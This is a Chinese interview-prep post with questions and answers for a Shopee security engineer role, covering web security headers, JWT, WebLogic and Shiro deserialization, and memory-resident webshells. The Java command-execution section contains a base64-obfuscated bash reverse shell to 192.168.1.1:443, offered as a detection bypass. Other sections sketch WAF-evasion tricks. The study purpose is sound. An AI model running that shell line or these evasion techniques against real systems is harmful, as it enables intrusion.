2025年渗透测试面试题总结- shopee-安全工程师(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 shopee-安全工程师

信息安全相关Response头详解

1. 关键安全头及防御场景

Linux与Docker核心命令速查

1. Linux高频命令

2. Docker操作命令

JWT安全机制与漏洞

1. JWT结构解析

2. 攻击手法

WebLogic反序列化漏洞全景分析

1. XMLDecoder反序列化漏洞(CVE-2017-10271)

2. 后台文件上传+权限绕过组合攻击

Java代码审计:命令执行绕过

1. Runtime.exec 限制分析

内存马攻防技术

1. 内存马注入原理

2. 检测与防御方案

Shiro反序列化漏洞绕过WAF

1. 请求分块传输

2. 动态加载技术

反序列化漏洞原理与利用链

1. Java反序列化核心流程

2. 跨语言反序列化对比

附录:命令速查表


 

 shopee-安全工程师

和信息安全相关的返回response头
Linux常见命令
docker常见命令
jwt是什么
weblogic反序列化原理(有一个xml反序列化漏洞 还有后台文件上传 还有二次urldencode 权限绕过)
java代码审计 exec命令执行的相关利用,前面拼了一段 然后调用lang.runtime.exec(“fuck"+a)这里可以利用吗(不行 因为根据exec的方法这里不能识别执行)
内存马相关原理
shiro反序列化漏洞利用的时候 由于waf过长被ban了 怎么解决这个问题(如果是waf拦截,可以尝试更换http头 如果tomcat头过长 可以在cookie写一个loader 然后shellcode 写到body里)
内存马扫描原理,如何检测内存马
java代码审计反序列化原理(输入的恶意类被识别 解析了)
ysoserial原理 commoncollections利用链的原理(ccl最后invoke反射加载输入的方法cc2 cc3等等大同小异)linux全盘查找文件 --[find /-name payload]
docker run 的常见命令(docker run -it centos -p --name -d)
java反序列化 php反序列化 python反序列化的区别和相同点
linux全盘搜索含有某个字符的文件/linxu 全盘搜索叫某个名字的文件
(grep -rl 'abc'/)(find -name /fucku)

信息安全相关Response头详解

1. 关键安全头及防御场景
Header名称作用场景防御示例值
Content-Security-Policy防止XSS攻击default-src 'self'; script-src 'nonce-xxx'
Strict-Transport-Security强制HTTPS通信max-age=31536000; includeSubDomains
X-Content-Type-Options阻止MIME类型嗅探nosniff
Referrer-Policy控制Referer泄露strict-origin-when-cross-origin
X-Frame-Options防止点击劫持DENYSAMEORIGIN

Linux与Docker核心命令速查

1. Linux高频命令
  • 文件搜索bash
    # 按名称全盘搜索 find / -name "*.jsp" -type f 2>/dev/null # 按内容搜索 grep -r --include=*.txt "password" /etc 
  • 权限管理bash
    chmod 600 /path/to/secret.key # 仅属主读写 chown www-data:www-data /var/www 
2. Docker操作命令
  • 容器启停bash
    docker run -d -p 8080:80 --name webapp nginx:alpine # 后台运行映射端口 docker exec -it webapp /bin/sh # 进入容器Shell 
  • 镜像管理bash
    docker build -t myapp:v1 . # 构建镜像 docker image prune -a # 清理无用镜像 

JWT安全机制与漏洞

1. JWT结构解析
  • Header:算法声明(如HS256none
  • Payload:携带业务数据(如用户ID、过期时间)
  • Signature:签名验证(依赖密钥)
2. 攻击手法
  • 密钥爆破:弱密钥导致签名伪造(使用hashcat爆破);
  • 算法篡改:修改Header为alg:none绕过签名验证;
  • 信息泄露:解码Payload获取敏感数据(如jwt.io 在线解码)。

WebLogic反序列化漏洞全景分析

1. XMLDecoder反序列化漏洞(CVE-2017-10271)
  • 触发点:未过滤的XML输入传入XMLDecoder解析;
  • 利用链:构造<object class="java.lang.ProcessBuilder"> 执行系统命令;
  • 绕过技巧:使用二次URL编码绕过WAF检测。
2. 后台文件上传+权限绕过组合攻击
  • 路径穿越:上传路径包含../跳转至Web目录;
  • 权限配置错误:未鉴权的管理接口直接部署WAR包。

Java代码审计:命令执行绕过

1. Runtime.exec 限制分析
  • 参数分隔问题exec("fuck" + a)a包含空格需拆分参数数组;
  • 绕过方法java
    // 使用Base64编码绕过字符串检测 String cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}"; Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd}); 

内存马攻防技术

1. 内存马注入原理
  • Servlet型:动态注册恶意Servlet处理请求;
  • Filter型:插入Filter链截获所有请求;
  • Agent型:通过Java Agent修改字节码。
2. 检测与防御方案
  • 行为监控:检测异常类加载(如javax.servlet.http.HttpServlet 动态注册);
  • 流量特征:内存马请求无对应文件路径(如/favicon.ico?cmd=id );
  • 工具支持:使用ArthasMemShellScanner扫描JVM内存。

Shiro反序列化漏洞绕过WAF

1. 请求分块传输
  • 分块编码:将Payload拆分为多个块绕过长度检测;
  • Header混淆:添加冗余Header(如X-Forwarded-For)干扰WAF解析。
2. 动态加载技术
  • Cookie加载器http
    Cookie: rememberMe=Base64Loader; POST /login Body: [Shellcode字节流] 
  • ClassLoader隔离:利用自定义ClassLoader加载加密的恶意类。

反序列化漏洞原理与利用链

1. Java反序列化核心流程
  • 触发点ObjectInputStream.readObject() 反序列化未过滤的输入;
  • 利用链
    • CC链InvokerTransformer.transform() 反射调用危险方法;
    • Fastjson链:利用TemplatesImpl加载字节码。
2. 跨语言反序列化对比
语言触发方法典型漏洞链
JavareadObject()CommonsCollections、Fastjson
PHP__wakeup()Phar反序列化、POP链
Python__reduce__()Pickle模块、YAML解析

附录:命令速查表

  1. Linux全盘搜索bash
    sh# 按名称搜索 find / -name "*.jsp" 2>/dev/null # 按内容搜索 grep -rnw '/' -e 'password' 
  2. Docker命令规范bash
    docker run -d --name myapp -p 8080:80 -v /data:/app/data image:tag 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/37090.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

IntelliJ IDEA 中 Maven 的 `pom.xml` 变灰带横线?一文详解解决方法

前言 在使用 IntelliJ IDEA 进行 Java 开发时&#xff0c;如果你发现项目的 pom.xml 文件突然变成灰色并带有删除线&#xff0c;这可能是 Maven 的配置或项目结构出现了问题。 一、问题现象与原因分析 现象描述 文件变灰&#xff1a;pom.xml 在项目资源管理器中显示为灰色。…

Spring MVC 接口数据

访问路径设置 RequestMapping("springmvc/hello") 就是用来向handlerMapping中注册的方法注解! 秘书中设置路径和方法的对应关系&#xff0c;即RequestMapping("/springmvc/hello")&#xff0c;设置的是对外的访问地址&#xff0c; 路径设置 精准路径匹…

技术分享 | MySQL内存使用率高问题排查

本文为墨天轮数据库管理服务团队第51期技术分享&#xff0c;内容原创&#xff0c;如需转载请联系小墨&#xff08;VX&#xff1a;modb666&#xff09;并注明来源。 一、问题现象 问题实例mysql进程实际内存使用率过高 二、问题排查 2.1 参数检查 mysql版本 &#xff1a;8.0.…

【redis】什么是持久化之 RDB

什么是持久化 MySQL 的事务&#xff0c;有四个比较核心的特性&#xff1a; 原子性一致性持久性>持久化&#xff08;说的一回事&#xff09; 把数据存储在硬盘上>持久把数据存在内存上>不持久重启进程/重启主机之后&#xff0c;数据是否还存在 隔离性 Redis 是一个内存…

Python、MATLAB和PPT完成数学建模竞赛中的地图绘制

参加数学建模比赛时&#xff0c;很多题目——诸如统计类、数据挖掘类、环保类、建议类的题目总会涉及到地理相关的情景&#xff0c;往往要求我们制作与地图相关的可视化内容。如下图&#xff0c;这是21年亚太赛的那道塞罕坝的题目&#xff0c;期间涉及到温度、降水和森林覆盖率…

Python(冒泡排序、选择排序、插入法排序、快速排序,算法稳定性)

算法的稳定性 冒泡排序 # 冒泡排序 # 1 思想: 相邻位置两个元素比较, 前面的元素比后面的元素大则交换, 把最大的数给找到 # 经过一轮一轮的比较最终把序列给排序 # 2 关键点1: 两层for循环 外层循环控制多少轮 内层for循环控制比较次数 # 3 关键点2: 若遍历一遍没有数字…

【自用】NLP算法面经(5)

一、L1、L2正则化 正则化是机器学习中用于防止过拟合并提高模型泛化能力的技术。当模型过拟合时&#xff0c;它已经很好地学习了训练数据&#xff0c;甚至是训练数据中的噪声&#xff0c;所以可能无法在新的、未见过的数据上表现良好。 比如&#xff1a; 其中&#xff0c;x1和…

PyCharm安装redis,python安装redis,PyCharm使用失败问题

报错信息 Usage: D:\wb2\wbrj_pys\venv\Scripts\python.exe -m pip install [options] [package-index-options] … D:\wb2\wbrj_pys\venv\Scripts\python.exe -m pip install [options] -r [package-index-options] … D:\wb2\wbrj_pys\venv\Scripts\python.exe -m pip instal…

学习笔记|arduino uno r3|DS1307时钟芯片|Atmega328P| 设置时间|读取时间|无源晶振:DS1307时钟芯片实验

目录 芯片pinout&#xff1a; 实验器件&#xff1a; 实验连线 解决AVR 架构不支持 printf() 方法 使用GetTimeAndDate.ino设置时间&#xff1a; 使用SetTimeAndDate.ino设置时间&#xff1a; 芯片pinout&#xff1a; DS1307 是美国 DALLAS 公司推出的 I 总线接口实时时钟芯…

uniapp可拖拽消息数徽标draggable-badge,仿手机qq聊天列表未读数徽标动效

组件下载地址&#xff1a;https://ext.dcloud.net.cn/plugin?id22679 兼容性&#xff1a; 测试了h5和微信小程序&#xff0c;理论支持全平台&#xff0c;暂不支持pc端&#xff0c;不过可以自己修改事件兼容pc 使用uniapp仿写了一个手机qq聊天列表右侧未读数的徽标组件&#x…

【设计模式】策略模式

以下是格式优化后的Markdown文档&#xff0c;仅调整代码缩进&#xff0c;保持内容不变&#xff1a; 四、策略模式 策略(Strategy) 模式是一种行为型模式&#xff0c;其实现过程与模板方法模式非常类似——都 是以扩展的方式支持未来的变化。本章通过对一个具体范例的逐步重构…

STM32配套程序接线图

1 工程模板 2 LED闪烁 3LED流水灯 4蜂鸣器 5按键控制LED 6光敏传感器控制蜂鸣器 7OLED显示屏 8对射式红外传感器计次 9旋转编码器计次 10 定时器定时中断 11定时器外部时钟 12PWM驱动LED呼吸灯 13 PWM驱动舵机 14 PWM驱动直流电机 15输入捕获模式测频率 16PWMI模式测频率占空…

【C语言】使用结构体实现位段

一、位段 前面我们学习了结构体&#xff0c;位段的声明和结构体是一样的&#xff0c;其区别如下&#xff1a; 1、位段的成员必须是int 、unsigned int 、signed int 、在C99中位段的成员的类型也可以选择其他类型。 2、位段的成员名后边有一个冒号和一个数字 如下&#xff…

【大模型系列篇】硅基智能开源数字人模型HeyGem.ai,开启数字人时刻

硅基智能开源数字人模型HeyGem.ai, 1秒克隆生成4K视频, 支持离线多语言, 开源72小时狂揽1.3k星, 目前已经获得3.4k星。 硅基智能正式宣布在GitHub开源全球TOP级数字人模型&#xff0c;同时发布基于该模型的同名数字人工具硅基数字人克隆的本地安装包&#xff0c;这一举措标志着…

【C++】STL库面试常问点

STL库 什么是STL库 C标准模板库&#xff08;Standard Template Libiary&#xff09;基于泛型编程&#xff08;模板&#xff09;&#xff0c;实现常见的数据结构和算法&#xff0c;提升代码的复用性和效率。 STL库有哪些组件 STL库由以下组件构成&#xff1a; ● 容器&#xf…

knowledge-微前端(多个前端应用聚合的一个应用架构体系,每个小的应用可独立运行,独立开发,独立部署上线)

1.前言 微前端&#xff0c;将一个大的前端应用拆分为多个小型的&#xff0c;独立开发的前端应用&#xff0c;每一个小型的应用都可以单独的开发&#xff0c;部署和运行。这种结构允许不同的团队使用不同的技术栈来开发应用的不同部分&#xff0c;提高开发的效率与灵活性。 2.实…

三格电子PLC数据采集网关-工业互联的智能枢纽

在工业自动化领域&#xff0c;设备间的数据互通与协议兼容是核心挑战之一。三格电子推出的PLC据采集网关SG-PLC-Private&#xff0c;凭借其多协议兼容、高稳定性和灵活配置能力&#xff0c;成为工业物联网&#xff08;IIoT&#xff09;中实现设备互联的关键设备。本文将从产品功…

鸿蒙NEXT项目实战-百得知识库05

代码仓地址&#xff0c;大家记得点个star IbestKnowTeach: 百得知识库基于鸿蒙NEXT稳定版实现的一款企业级开发项目案例。 本案例涉及到多个鸿蒙相关技术知识点&#xff1a; 1、布局 2、配置文件 3、组件的封装和使用 4、路由的使用 5、请求响应拦截器的封装 6、位置服务 7、三…

leetcode热题100道——字母异位词分组

给你一个字符串数组&#xff0c;请你将 字母异位词 组合在一起。可以按任意顺序返回结果列表。 字母异位词 是由重新排列源单词的所有字母得到的一个新单词。 示例 1: 输入: strs ["eat", "tea", "tan", "ate", "nat", &…

【Vue3】01-vue3的基础 + ref reactive

首先确保已经有了ES6的基础 本文介绍 vue 的基础使用以及 两种响应数据的方式。 目录 1. 创建一个vue应用程序 2. Vue模块化开发 3. ref 和 reactive 的区别 1. 创建一个vue应用程序 所需的两个文件&#xff1a; https://unpkg.com/vue3/dist/vue.global.js https://un…